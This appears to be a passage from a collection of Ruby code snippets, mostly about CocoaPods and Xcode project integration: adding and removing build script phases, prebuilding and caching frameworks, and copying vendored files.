TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n end\n end", "def remove_embed_frameworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, EMBED_FRAMEWORK_PHASE_NAME)\n end", "def integrate!\n UI.section(integration_message) do\n target_installation_result.non_library_specs_by_native_target.each do |native_target, spec|\n add_embed_frameworks_script_phase(native_target, spec)\n add_copy_resources_script_phase(native_target, spec)\n add_on_demand_resources(native_target, spec) if spec.app_specification?\n UserProjectIntegrator::TargetIntegrator.create_or_update_user_script_phases(script_phases_for_specs(spec), native_target)\n end\n add_copy_dsyms_script_phase(target_installation_result.native_target)\n add_copy_xcframeworks_script_phase(target_installation_result.native_target)\n UserProjectIntegrator::TargetIntegrator.create_or_update_user_script_phases(script_phases_for_specs(target.library_specs), target_installation_result.native_target)\n end\n end", "def add_user_script_phases\n native_targets.each do |native_target|\n TargetIntegrator.create_or_update_user_script_phases(target.target_definition.script_phases, native_target)\n end\n end", "def remove_copy_resources_script_phase_from_target(native_target)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(COPY_PODS_RESOURCES_PHASE_NAME) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def new_shell_script_build_phase(name = nil)\n phase = project.new(PBXShellScriptBuildPhase)\n phase.name = name\n build_phases << phase\n phase\n end", "def create_inject_test_target(project, test_dir, test_target_name, test_target_identifier)\n test_target = project.new(Xcodeproj::Project::PBXNativeTarget)\n test_target.name = test_target_name\n test_target.product_name = test_target_name\n test_target.build_configuration_list = Xcodeproj::Project::ProjectHelper.configuration_list project, :ios, \"9.0\"\n\n product_ref = project.products_group.new_reference(\"#{test_target_name}.xctest\", :built_products)\n product_ref.include_in_index = '0'\n product_ref.set_explicit_file_type\n test_target.product_reference = product_ref\n\n test_target_source_build_phase = project.new(Xcodeproj::Project::PBXSourcesBuildPhase)\n test_target.build_phases << test_target_source_build_phase\n test_target.build_phases << project.new(Xcodeproj::Project::PBXFrameworksBuildPhase)\n test_target.build_phases << project.new(Xcodeproj::Project::PBXResourcesBuildPhase)\n\n test_target.build_configuration_list.set_setting('INFOPLIST_FILE', File.join(test_dir, 'Info.plist'))\n test_target.build_configuration_list.set_setting('WRAPPER_EXTENSION', 'xctest')\n test_target.build_configuration_list.set_setting('TEST_HOST', '$(BUNDLE_LOADER)')\n test_target.build_configuration_list.set_setting('PRODUCT_BUNDLE_IDENTIFIER', test_target_identifier)\n test_target.build_configuration_list.set_setting('LD_RUNPATH_SEARCH_PATHS', [\n '$(inherited)',\n '@executable_path/Frameworks',\n '@loader_path/Frameworks',\n ])\n\n Dir.glob(\"#{test_dir.sub /\\/$/, ''}/*.{swift,m}\") do |test_file|\n file_ref = project.new_file test_file\n test_target_source_build_phase.add_file_reference file_ref\n end\n\n return test_target\nend", "def create_or_update_user_script_phases(script_phases, native_target)\n script_phase_names = script_phases.map { |k| k[:name] }\n # Delete script phases no longer present in the target.\n native_target_script_phases = native_target.shell_script_build_phases.select do |bp|\n !bp.name.nil? && bp.name.start_with?(USER_BUILD_PHASE_PREFIX)\n end\n native_target_script_phases.each do |script_phase|\n script_phase_name_without_prefix = script_phase.name.sub(USER_BUILD_PHASE_PREFIX, '')\n unless script_phase_names.include?(script_phase_name_without_prefix)\n native_target.build_phases.delete(script_phase)\n end\n end\n # Create or update the ones that are expected to be.\n script_phases.each do |script_phase|\n name_with_prefix = USER_BUILD_PHASE_PREFIX + script_phase[:name]\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, name_with_prefix, nil)\n phase.shell_script = script_phase[:script]\n phase.shell_path = script_phase[:shell_path] || '/bin/sh'\n phase.input_paths = script_phase[:input_files]\n phase.output_paths = script_phase[:output_files]\n phase.input_file_list_paths = script_phase[:input_file_lists]\n phase.output_file_list_paths = script_phase[:output_file_lists]\n phase.dependency_file = script_phase[:dependency_file]\n # At least with Xcode 10 `showEnvVarsInLog` is *NOT* set to any value even if it's checked and it only\n # gets set to '0' if the user has explicitly disabled this.\n if (show_env_vars_in_log = script_phase.fetch(:show_env_vars_in_log, '1')) == '0'\n phase.show_env_vars_in_log = show_env_vars_in_log\n end\n\n execution_position = script_phase[:execution_position]\n reorder_script_phase(native_target, phase, execution_position)\n end\n end", "def add_frameworks_bundles\n UI.message '- Adding frameworks' do\n add_file_accessors_paths_to_pods_group(:vendored_frameworks, :frameworks)\n end\n end", "def integrate!\n UI.section(integration_message) do\n XCConfigIntegrator.integrate(target, native_targets)\n\n remove_obsolete_script_phases\n add_pods_library\n add_embed_frameworks_script_phase\n remove_embed_frameworks_script_phase_from_embedded_targets\n add_copy_resources_script_phase\n add_check_manifest_lock_script_phase\n add_user_script_phases\n add_on_demand_resources\n end\n end", "def install\n # ENV.deparallelize\n system \"swift\", \"build\", \"--disable-sandbox\", \"-c\", \"release\"\n system \"mv\", \".build/release/CardVisionCLI\", \".build/release/cardvision\"\n bin.install \".build/release/cardvision\"\n end", "def auto_process_target(app_target_names, embedded_target_name, installer)\n words = find_words_at_embedded_target('Pods-' + embedded_target_name,\n installer)\n handle_app_targets(app_target_names.map{ |str| 'Pods-' + str },\n words,\n installer)\nend", "def run_bundle ; end", "def run_bundle ; end", "def add_input_path_to_script_phase(script_phase, name, platform)\n input_path = \"$(SRCROOT)/#{make_carthage_build_path(name, platform)}\"\n script_phase.input_paths << input_path\nend", "def configure_phase\n self.project.targets.each do |target|\n begin\n phase = target.sources_build_phase\n next unless phase\n rescue NoMethodError\n next\n end\n\n \n bundle = target.copy_bundle_recources\n\n # remove zombie build files\n phase.files_references.each do |file|\n begin\n file.real_path\n rescue\n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n end\n \n # remove zombie bundle files\n bundle.files_references.each do |file|\n begin\n file.real_path\n rescue\n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file\n end\n end\n end\n\n removings = [] # name of seeds going to be removed from the target\n addings = [] # name of seeds going to be added to the target\n\n self.targets.keys.sort.each do |seed_name|\n target_names = self.targets[seed_name]\n if not target_names.include?(target.name)\n removings << seed_name if not removings.include?(seed_name)\n else\n addings << seed_name if not addings.include?(seed_name)\n end\n end\n\n\n self.file_references.each do |file|\n\n removings.each do |seed_names|\n next if not seed_names.include?(file.parent.name)\n \n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file \n end\n \n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n\n addings.each do |seed_names|\n next if file.name.end_with? \".h\"\n next if not seed_names.include?(file.parent.name)\n uuid = Xcodeproj::uuid_with_name \"#{target.name}:#{file.name}\"\n \n if self.seeds[seed_names].resources.any? { |s| file.name.end_with? s }\n bundle.add_file_reference_with_uuid(file, uuid, true)\n else \n phase.add_file_reference_with_uuid(file, uuid, true)\n end\n\n end\n end\n end\n end", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n device, \n simulator,\n bitcode_enabled)\n\n deployment_target = target.platform.deployment_target.to_s\n \n target_label = target.label\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = [] \n if bitcode_enabled\n other_options += ['OTHER_CFLAGS=\"-fembed-bitcode\"']\n end\n xcodebuild(sandbox, target_label, device, deployment_target, other_options)\n xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'])\n\n root_name = target.pod_name\n module_name = target.product_module_name\n \n executable_path = \"#{build_dir}/#{root_name}\"\n device_lib = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{root_name}/#{module_name}.framework/#{module_name}\"\n device_framework_lib = File.dirname(device_lib)\n simulator_lib = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{root_name}/#{module_name}.framework/#{module_name}\"\n\n return unless File.file?(device_lib) && File.file?(simulator_lib)\n\n lipo_log = `lipo -create -output #{executable_path} #{device_lib} #{simulator_lib}`\n puts lipo_log unless File.exist?(executable_path)\n\n FileUtils.mv executable_path, device_lib, :force => true\n output_path.mkpath unless output_path.exist?\n FileUtils.mv device_framework_lib, output_path, :force => true\n FileUtils.rm simulator_lib if File.file?(simulator_lib)\n FileUtils.rm device_lib if File.file?(device_lib)\nend", "def run_bundle; end", "def prebuild_frameworks! \n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n \n if local_manifest != nil\n\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed \n unchanged = changes.unchanged\n deleted = changes.deleted \n \n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n \n # additions\n missing = unchanged.select do |pod_name|\n not exsited_framework_pod_names.include?(pod_name)\n end\n\n\n root_names_to_update = (added + changed + missing)\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, self.pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{self.pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map {|t| t.recursive_dependent_targets }.flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n targets = self.pod_targets\n end\n \n # frameworks which mark binary true, should be filtered before prebuild\n prebuild_framework_pod_names = []\n podfile.target_definition_list.each do |target_definition|\n next if target_definition.prebuild_framework_pod_names.empty?\n prebuild_framework_pod_names += target_definition.prebuild_framework_pod_names\n end\n \n \n\n \n # filter local pods\n targets = targets.reject {|pod_target| sandbox.local?(pod_target.pod_name) } if not Podfile::DSL.allow_local_pod\n\n # filter dependency\n # targets = targets.select {|pod_target| prebuild_framework_pod_names.include?(pod_target.pod_name) }\n \n # build!\n Pod::UI.puts \"🚀 Prebuild files (total #{targets.count})\"\n Pod::Prebuild.remove_build_dir(sandbox_path)\n \n targets = targets.reject { |pod_target| Pod::Podfile::DSL.binary_white_list.include?(pod_target.pod_name) }\n \n # 是否值缓存 .a 文件\n only_store_lib_file = Podfile::DSL.only_store_lib_file\n \n # 是否开启md5 命名\n md5_file_name = Podfile::DSL.md5_file_name\n md5_file_name_list = []\n \n \n subspec_name_enable = true\n \n # building check ...\n targets.each do |target|\n \n target_name = target.name\n # root_name = \"#{target_name}/\"\n spec = target.root_spec\n\n# Pod::UI.puts \"🚀 000 #{target.specs.to_json} \"\n\n specs_name = get_subspec_name(target)\n# Pod::UI.puts \"🚀 666 #{specs_name} \"\n\n \n # 如果过长 采用md5 + 文件记录\n if md5_file_name\n item = get_subspec_name_md5(target_name, specs_name, spec.version)\n specs_name = item[\"specs_name\"]\n# Pod::UI.puts \"🚀 333 #{specs_name} \"\n md5_file_name_list.push(item)\n end\n \n# specs_name = spec.name\n# Pod::UI.puts \"🚀 666 #{target.to_json} \"\n \n UI.section \"🍭 Prebuild Ready to build #{target_name} [#{target.label}]\".blue do\n if !target.should_build?\n Pod::UI.puts \"🏇 Skipping #{target.label}\"\n next\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target_name)\n output_path.mkpath unless output_path.exist?\n \n need_pull = Podfile::DSL.binary_cache\n need_push = false\n need_build = false\n\n generate_path = sandbox.generate_framework_path.to_s\n rsync_server_url = Podfile::DSL.rsync_server_url\n \n loop do\n if not need_pull\n need_build = true\n break\n end\n \n if sandbox.local?target_name and not Podfile::DSL.local_binary_cache\n need_build = true\n break\n end\n \n exist_remote_framework = Pod::PrebuildFetch.fetch_remote_framework_for_target(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n if not exist_remote_framework\n Pod::UI.puts \"💦 Non exist remote cache, #{target_name}\".blue\n \n need_build = true\n need_push = true\n break\n end\n \n Pod::UI.puts \"🎁 Exist remote cache, #{target_name}\".green\n\n break\n end\n\n if need_build\n Pod::Prebuild.build(sandbox_path, target, output_path, bitcode_enabled, Podfile::DSL.custom_build_options, Podfile::DSL.custom_build_options_simulator)\n end\n \n if need_push\n Podfile::DSL.builded_list.push(target_name)\n\n \n if only_store_lib_file\n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n else\n store_pack = {}\n store_pack[\"spec_name\"] = spec.name\n store_pack[\"specs_name\"] = specs_name\n store_pack[\"spec_version\"] = \"#{spec.version}\"\n store_pack[\"generate_path\"] = generate_path\n store_pack[\"server_url\"] = rsync_server_url\n\n Podfile::DSL.builded_store_list.push(store_pack)\n end\n end\n \n \n \n # public private headers\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = []\n target.file_accessors.each do |fa|\n headers += fa.headers || []\n end\n\n config_umbrella_header(output_path, target_name, headers)\n end\n\n \n # ...\n #target.static_framework\n #target.build_as_dynamic_library\n #target.build_as_static_framework\n \n # save the resource paths for later installing\n if !target.resource_paths.empty? #and target.build_as_dynamic?\n framework_path = output_path\n framework_path = framework_path + target.framework_name if target.build_as_framework?\n \n standard_sandbox_path = sandbox.standard_sanbox_path\n\n resources = begin\n if Pod::VERSION.start_with? \"1.5\"\n target.resource_paths\n else\n # resource_paths is Hash{String=>Array<String>} on 1.6 and above\n # (use AFNetworking to generate a demo data)\n # https://github.com/leavez/cocoapods-binary/issues/50\n target.resource_paths.values.flatten\n end\n end\n raise \"Wrong type: #{resources}\" unless resources.kind_of? Array\n\n path_objects = resources.map do |path|\n object = Prebuild::Passer::ResourcePath.new\n #object.real_file_path = framework_path + File.basename(path)\n object.real_file_path = path.gsub('${PODS_ROOT}', sandbox.generate_framework_path.to_s) if path.start_with? '${PODS_ROOT}'\n \n object.target_file_path = path.gsub('${PODS_ROOT}', standard_sandbox_path.to_s) if path.start_with? '${PODS_ROOT}'\n object.target_file_path = path.gsub(\"${PODS_CONFIGURATION_BUILD_DIR}\", standard_sandbox_path.to_s) if path.start_with? \"${PODS_CONFIGURATION_BUILD_DIR}\"\n \n object\n end\n # mark Generated files to Pods/xx\n Prebuild::Passer.resources_to_copy_for_static_framework[target_name] = path_objects\n \n # Logger(1000, \"path_objects\", path_objects)\n # Logger(1001, \"target.name\", target.name)\n\n end\n \n end\n\n end\n \n if md5_file_name\n pods_path = self.sandbox.root\n md5_file_name_path = pods_path + \"md5_file_name.txt\"\n File.write(md5_file_name_path.to_s, md5_file_name_list.to_json)\n end\n \n \n # remove build path\n Pod::Prebuild.remove_build_dir(sandbox_path) if Podfile::DSL.clean_build_dir\n \n def copy_vendered_files(lib_paths, root_path, target_folder)\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n def copy_vendered_headers(lib_paths, root_path)\n lib_paths.each do |lib_path|\n FileUtils.cp_r(lib_path, root_path, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n \n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = self.sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n \n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n if not target.should_build? \n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n next\n end\n \n# Logger(10032, \"dependencies\", target.dependencies)\n \n # continue ....\n next unless File.exist?(root_path)\n \n # copy to Generated\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n \n lib_paths = []\n\n #add frameworks\n lib_paths += file_accessor.vendored_frameworks || []\n \n if Pod::VERSION.start_with? \"1.9\"\n lib_paths += file_accessor.vendored_xcframeworks || [] # cocoapods version 1.9.0+\n end\n \n #add libraries\n lib_paths += file_accessor.vendored_libraries || []\n \n #add headers\n lib_paths += file_accessor.headers || []\n \n lib_paths += file_accessor.docs || []\n\n #add resources\n lib_paths += file_accessor.resources || []\n \n lib_paths += file_accessor.resource_bundles.values if not file_accessor.resource_bundles.nil?\n lib_paths += file_accessor.resource_bundle_files || []\n\n #add license\n lib_paths += [file_accessor.license] if not file_accessor.license.nil?\n lib_paths += [file_accessor.spec_license] if not file_accessor.spec_license.nil?\n\n #add readme\n lib_paths += [file_accessor.readme] if not file_accessor.readme.nil?\n \n\n #developer_files ⇒ Array<Pathname> Paths to include for local pods to assist in development.\n\n copy_vendered_files(lib_paths, root_path, target_folder)\n\n # framework not same\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = file_accessor.headers || []\n copy_vendered_headers(headers, \"#{target_folder}/#{target.framework_name}/Headers\")\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox \n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n \n \n # Remove useless files\n # remove useless pods\n all_needed_names = self.pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name| \n all_needed_names.include? name\n end\n \n \n useless_target_names.each do |name|\n path = sandbox.framework_folder_path_for_target_name(name)\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n if not Podfile::DSL.dont_remove_source_code\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.select do |file|\n filename = File.basename(file)\n not to_remain_files.include?(filename)\n end\n to_delete_files.each do |path|\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n else \n # just remove the tmp files\n path = sandbox.root + 'Manifest.lock.tmp'\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n \n Pod::UI.puts \"🚀 Push Store Info: #{Podfile::DSL.builded_store_list}\"\n\n Podfile::DSL.builded_store_list.each do |store_pack|\n spec_name = store_pack[\"spec_name\"]\n specs_name = store_pack[\"specs_name\"]\n spec_version = store_pack[\"spec_version\"]\n generate_path = store_pack[\"generate_path\"]\n server_url = store_pack[\"server_url\"]\n \n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec_name, specs_name, spec_version, generate_path, server_url)\n end\n \n Podfile::DSL.builded_store_list = []\n end", "def run_bundle\n end", "def add_system_framework(framework)\n puts \"Adding framework to xcode project: #{framework}.\"\n @target.add_system_framework(framework);\n puts 'Finished adding framework.'\nend", "def add_custom_framework(framework_path)\n puts \"Adding framework to xcode project: #{framework_path}.\"\n framework_name = File.basename(framework_path);\n local_framework_path = \"Frameworks/#{framework_name}\"\n # Add the lib file as a reference\n libRef = @project['Frameworks'].new_file(framework_path)\n # Add it to the build phase\n @target.frameworks_build_phase.add_file_reference(libRef)\n puts 'Finished adding framework.'\nend", "def go_bundles\n FileUtils.cd(TXMP_SUPPORT_PATH + \"/bundles\")\nend", "def add_check_manifest_lock_script_phase\n phase_name = CHECK_MANIFEST_PHASE_NAME\n native_targets.each do |native_target|\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + phase_name)\n native_target.build_phases.unshift(phase).uniq! unless native_target.build_phases.first == phase\n phase.shell_script = <<-SH.strip_heredoc\n diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\n if [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\n fi\n # This output is used by Xcode 'outputs' to avoid re-running this script phase.\n echo \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n SH\n phase.input_paths = %w(${PODS_PODFILE_DIR_PATH}/Podfile.lock ${PODS_ROOT}/Manifest.lock)\n phase.output_paths = [target.check_manifest_lock_script_output_file_path]\n end\n end", "def perform_deployment\n \tself.started_at = Time.now \t\n \tline = Cocaine::CommandLine.new(\"cd /home/mohkhan.Desktop/SFDC_DeplomentScripts && perl fetch_and_deploy.pl -r #{self.release} -d <#{self.target_config_name}> --mode=#{self.mode}\")\n \tline.run\n \tself.ended_at = Time.now\n \tself.status = \"deployed\"\n \tself.save\n end", "def postscript(ant, build_environment, product_directory, *args)\n return unless config_source[MAVEN_REPO_CONFIG_KEY]\n\n args.each do |arg|\n FilePath.new(arg['dest']).ensure_directory\n ant.jar(:jarfile => \"#{arg['dest']}/#{arg['artifact']}.jar\") do\n ant.fileset(:dir => @basedir.to_s, :includes => arg['includes'], :excludes => arg['excludes'])\n end\n end\n\n\n # package terracotaa\n end", "def before_save\n # cwd: utunes_app\n logger.info(\"=======> before_save invoked!\")\n \n version_str = sprintf(\"%.2d\", version )\n bundle_title = \"hc12_v#{version_str}\"\n \n #\n # copy template folder\n #\n bundle_folder = \"lib/bundles\"\n bundle_name=\"build_\" + bundle_title\n bundle_fq_name = bundle_folder + \"/\" + bundle_name\n \n template_folder = bundle_folder + \"/\" + \"templates\"\n template_name = \"build_hc12_vnn\"\n template_fq_name = template_folder + \"/\" + template_name\n \n logger.info(\"cp -R #{template_fq_name} #{bundle_fq_name}\")\n logger.info( %x[cp -R #{template_fq_name} #{bundle_fq_name}] )\n \n #\n # move image files to new bundle script folder\n #\n images_folder = \"public/upload\"\n \n image_ls_name = \"hc12_ls.bin\"\n image_fq_ls_name = images_folder + \"/\" + image_ls_name\n \n image_hs_name = \"hc12_hs.bin\"\n image_fq_hs_name = images_folder + \"/\" + image_hs_name\n \n image_fq_ls_target = \"#{bundle_fq_name}/hc12_images/hc12ft.txt\"\n image_fq_hs_target = \"#{bundle_fq_name}/hc12_images/hc12hs.txt\"\n \n logger.info(\"mv #{image_fq_ls_name} #{image_fq_ls_target}\")\n logger.info( %x[mv #{image_fq_ls_name} #{image_fq_ls_target}] )\n \n logger.info(\"mv #{image_fq_hs_name} #{image_fq_hs_target}\")\n logger.info( %x[mv #{image_fq_hs_name} #{image_fq_hs_target}] )\n \n #\n # creation version file\n #\n File.open(bundle_fq_name+\"/hc12_images/version\", \"w\") do |verfile|\n verfile.printf(version_str)\n end\n \n end", "def build(target, ruby2d_app)\n\n # Check if source file provided is good\n if !ruby2d_app\n puts \"Please provide a Ruby file to build\"\n exit\n elsif !File.exist? ruby2d_app\n puts \"Can't find file: #{ruby2d_app}\"\n exit\n end\n\n # Add debugging information to produce backtrace\n if @debug then debug_flag = '-g' end\n\n # Create build directory\n FileUtils.mkdir_p 'build'\n\n # Assemble Ruby 2D library files into one '.rb' file\n\n ruby2d_lib_dir = \"#{Ruby2D.gem_dir}/lib/ruby2d/\"\n\n ruby2d_lib = ''\n @ruby2d_lib_files.each do |f|\n ruby2d_lib << File.read(\"#{ruby2d_lib_dir + f}.rb\") + \"\\n\\n\"\n end\n\n File.write('build/ruby2d_lib.rb', ruby2d_lib)\n\n # Assemble the Ruby 2D C extension files into one '.c' file\n\n ruby2d_ext_dir = \"#{Ruby2D.gem_dir}/ext/ruby2d/\"\n\n ruby2d_ext = \"#define MRUBY 1\" << \"\\n\\n\"\n Dir[\"#{ruby2d_ext_dir}*.c\"].each do |c_file|\n ruby2d_ext << File.read(c_file)\n end\n\n File.write('build/ruby2d_ext.c', ruby2d_ext)\n\n # Select `mrbc` executable based on platform\n case $RUBY2D_PLATFORM\n when :macos\n mrbc = \"#{Ruby2D.assets}/macos/universal/bin/mrbc\"\n when :windows\n mrbc = \"#{Ruby2D.assets}/windows/mingw-w64-x86_64/bin/mrbc.exe\"\n else\n mrbc = 'mrbc'\n end\n\n # Compile the Ruby 2D lib (`.rb` files) to mruby bytecode\n run_cmd \"#{mrbc} #{debug_flag} -Bruby2d_lib -obuild/ruby2d_lib.c build/ruby2d_lib.rb\"\n\n # Read the user's provided Ruby source file, copy to build dir and compile to bytecode\n File.open('build/ruby2d_app.rb', 'w') { |f| f << strip_require(ruby2d_app) }\n run_cmd \"#{mrbc} #{debug_flag} -Bruby2d_app -obuild/ruby2d_app.c build/ruby2d_app.rb\"\n\n # Combine contents of C source files and bytecode into one file\n open('build/app.c', 'w') do |f|\n ['ruby2d_app', 'ruby2d_lib', 'ruby2d_ext'].each do |c_file|\n f << File.read(\"build/#{c_file}.c\") << \"\\n\\n\"\n end\n end\n\n # Compile the final application based on the target platform\n case target\n when :native\n compile_native\n when :web\n compile_web\n end\n\n # Remove files used in the build process\n clean_up unless @debug\n\nend", "def install!\n refresh_file_accessors\n prepare_pod_groups\n add_source_files_references\n add_frameworks_bundles\n add_vendored_libraries\n add_resources\n add_developer_files unless sandbox.development_pods.empty?\n link_headers\n end", "def build_intermediate_apk( target ) \n cp @intermediate_apk, target\n end", "def deploy\n options = []\n spec.gems.each { |g| options << \"--gem #{g.name}\" }\n options << '--bs' if spec.embed_bs?\n options << '--compile' if spec.compile?\n options << '--no-stdlib' unless spec.stdlib # @todo use attribute properly\n options = options.join(' ')\n puts `macruby_deploy --embed --gem hotcocoa #{options} #{bundle_root}`\n end", "def integrate!\n return if native_targets.empty?\n UI.section(integration_message) do\n add_xcconfig_base_configuration\n add_pods_library\n add_copy_resources_script_phase\n add_check_manifest_lock_script_phase\n user_project.save\n end\n end", "def setup_target\n link_target_task project.target, (project.sources + [project.main]).map {|fn| objectsify fn }\n end", "def prebuild_frameworks!\n UI.puts \"Start prebuild_frameworks\"\n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n\n if Pod::Podfile::DSL.prebuild_all_vendor_pods\n UI.puts \"Rebuild all vendor frameworks\"\n targets = pod_targets\n elsif !local_manifest.nil?\n UI.puts \"Update some frameworks\"\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed\n unchanged = changes.unchanged\n\n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n\n # additions\n missing = unchanged.reject { |pod_name| exsited_framework_pod_names.include?(pod_name) }\n\n root_names_to_update = (added + changed + missing)\n if Pod::Podfile::DSL.enable_prebuild_dev_pod && Pod::Podfile::DSL.is_prebuild_job\n root_names_to_update += Pod::Prebuild::CacheInfo.cache_miss_dev_pods_dic.keys\n end\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map(&:recursive_dependent_targets).flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n UI.puts \"Rebuild all frameworks\"\n targets = pod_targets\n end\n\n targets = targets.reject { |pod_target| should_not_prebuild_vendor_pod(pod_target.name) }\n unless Podfile::DSL.enable_prebuild_dev_pod\n targets = targets.reject { |pod_target| sandbox.local?(pod_target.pod_name) }\n end\n\n # build!\n Pod::UI.puts \"Prebuild frameworks (total #{targets.count})\"\n Pod::UI.puts targets.map(&:name)\n\n Pod::Prebuild.remove_build_dir(sandbox_path)\n targets.each do |target|\n unless target.should_build?\n Pod::UI.puts \"Skip prebuilding #{target.label} because of no source files\".yellow\n next\n # TODO (thuyen): Fix an issue in this scenario:\n # - Frameworks are shipped as vendor frameworks (-> skipped during prebuild)\n # -> The dir structure of this framework in Pods is incorrect.\n # - Expected: Pods/MyFramework/<my_files>\n # - Actual: Pods/MyFramework/MyFramework/<my_files>. Sometimes, Pods/MyFramework is empty :|\n # -> Better to detect such targets EARLY and add them to the blacklist (DSL.unbuilt_pods)\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target.name)\n output_path.mkpath unless output_path.exist?\n Pod::Prebuild.build(\n sandbox_path,\n target,\n output_path,\n bitcode_enabled,\n Podfile::DSL.custom_build_options,\n Podfile::DSL.custom_build_options_simulator\n )\n collect_metadata(target, output_path)\n end\n Pod::Prebuild.remove_build_dir(sandbox_path)\n\n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n\n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n unless target.should_build?\n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true)\n next\n end\n\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n lib_paths = file_accessor.vendored_frameworks || []\n lib_paths += file_accessor.vendored_libraries\n # @TODO dSYM files\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true)\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox\n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n\n # Remove useless files\n # remove useless pods\n all_needed_names = pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name|\n all_needed_names.include? name\n end\n useless_target_names.each do |name|\n UI.puts \"Remove: #{name}\"\n path = sandbox.framework_folder_path_for_target_name(name)\n path.rmtree if path.exist?\n end\n\n if Podfile::DSL.dont_remove_source_code\n # just remove the tmp files\n path = sandbox.root + \"Manifest.lock.tmp\"\n path.rmtree if path.exist?\n else\n # only keep 